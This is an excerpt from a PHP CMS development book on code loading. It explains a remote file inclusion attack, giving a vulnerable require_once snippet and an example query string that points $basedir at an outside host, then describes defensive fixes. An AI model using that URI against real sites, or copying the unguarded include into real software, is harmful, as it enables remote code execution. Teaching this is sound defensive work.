- PHP 5 CMS Framework Development / 2nd Edition
- Martin Brampton
- 1016字
- 2021-04-13 17:21:59
Code needs to be loaded, and this does not happen automatically without some effort on our part. The loading of code has the potential to raise serious security issues that must be tackled. There are also practical matters of how to make code as clean and efficient as possible.
There has been a spate of cracks exploiting code-loading loopholes. Suppose we have a file containing PHP that is intended to be loaded for execution by other code that was triggered by the request from a user's browser. A simplified example would be:
<?php require_once ($basedir.'/somecode.php'); // More code that is perfectly safe follows ?>
First, how does the crack work? Supposing the previous code is in a file called vulnerablecode.php
, and the URI used by the cracker is something like the following: http://www.goodexample.com/pathtovulnerablecode/vulnerablecode.php?basedir=http://www.nastysite.com?.
The result is that our vulnerable code tries to load, and execute http://www.nastysite.com/somecode.php. This means that the cracker is able to load, and execute his/her own somecode.php
, which is arbitrary PHP code, probably not intended to benefit your site. There are two requirements for this to happen. One is that the PHP facility for register_globals
is on, so that putting basedir=xxx
in the query string results in a PHP variable called $basedir
being given the value xxx
. The other is that PHP is configured to be able to read a URI, as if it were a file. Blocking the first is sound practice, although it may cause some PHP software to fail. Blocking the second is debatable, since being able to read a URI can be a valuable feature.
There is a simple way to block such attacks, regardless of how PHP is configured. That is to change the vulnerable code to guard against direct execution. This example assumes a Mambo 4.6.x or Joomla! 1.0.x environment:
<?php // Don't allow direct linking if (!defined('_VALID_MOS')) die('Direct Access to this location is not allowed.'); require_once ($basedir.'somecode.php'); // More code that is perfectly safe follows ?>
This is a well tried solution, and works by _VALID_MOS
being defined at the start of legal code execution, which is commonly index.php
. It is not defined anywhere else, so attempts to get into the code by illegal routes are blocked. However, even programmers familiar with this technique can slip up, perhaps by tidying up the code and accidentally changing the order, so that the protecting code is no longer the first to be run. I know how easily it is done, I have done it myself!
Another way to make this kind of attack harder is to rely on the use of a global object rather than a global string. Again, assuming a similar Mambo or Joomla! environment, the vulnerable code could be rewritten as shown here:
<?php global $mainframe; require_once($mainframe->getCfg('absolute_path').'somecode.php'); // More code that is safe follows ?>
This approach makes cracking harder as it is much more difficult to fake an object $mainframe
rather than just a string $basedir
. It relies on the fact that recent Mambo and Joomla! systems have a global object that is able to return basic configuration information. Joomla! 1.5+ is slightly different.
Even if we can block this particular mode of attack, say by eliminating register_globals
, it is a sound principle to restrict the places where code is loaded so that thought can be concentrated on those places when planning how to block any alternative exploit. Any point at which code is loaded and implicitly executed is a potential vulnerability.
The pattern illustrated in the example of insecure code inclusion is very common. Often there are several statements that include other code files. In principle, developers can ensure that code is only included when it is needed. In practice, it is difficult to be sure whether code has been already included or not, especially when it comes to relatively distant classes that may have been used somewhere else. Trying to decide whether code is already loaded can become very time consuming for a complex application, and even if you are quite sure of the situation at the time of writing, subsequent changes in the code can easily upset things. As this situation is so precarious, much code is written using one of two possible solutions.
The first approach is to include pretty much everything at the start of an application, somewhat in the fashion of the security example in the previous section. By this means you can make sure that all the code that is needed has been loaded. However, this is wasteful as the code may not be needed at all.
That suggests the other solution, which is to include code every time it is needed. So supposing the code required is a class definition, every time the class name is mentioned, it is preceded by inclusion of the code. PHP supports this by providing functions such as require_once
and include_once
. The former function fails if the code is not available, while the latter only issues a warning. This approach is more efficient since the code inclusion follows the program logic, and does not occur unless it is actually needed. It is still messy, and any code that is not strictly necessary is clutter, which makes development harder. PHP5 allows a better solution, which we shall see soon when we discuss autoloading.
It might sound like a trivial consideration, but making code more manageable contributes greatly to the development process. It is easier to focus on a smaller unit of code, and the result is quicker progress, and fewer bugs. While it would be possible to write code in small units, and then amalgamate them for production, this is worthwhile only for very heavily used code. It also makes life harder for anyone who is involved in the after life of the code, as it needs to be customized, or bug fixed.
For these reasons, I favor building small, simple classes, and keeping them in separate source code files. This must not be taken to the point of damaging the design process. The primary reason for a class's existence is that it models a feature of the problem we are trying to solve. But within that constraint, there are still choices that can be made, and I prefer to go with the old but well established KISS principle (Keep It Simple, Stupid!).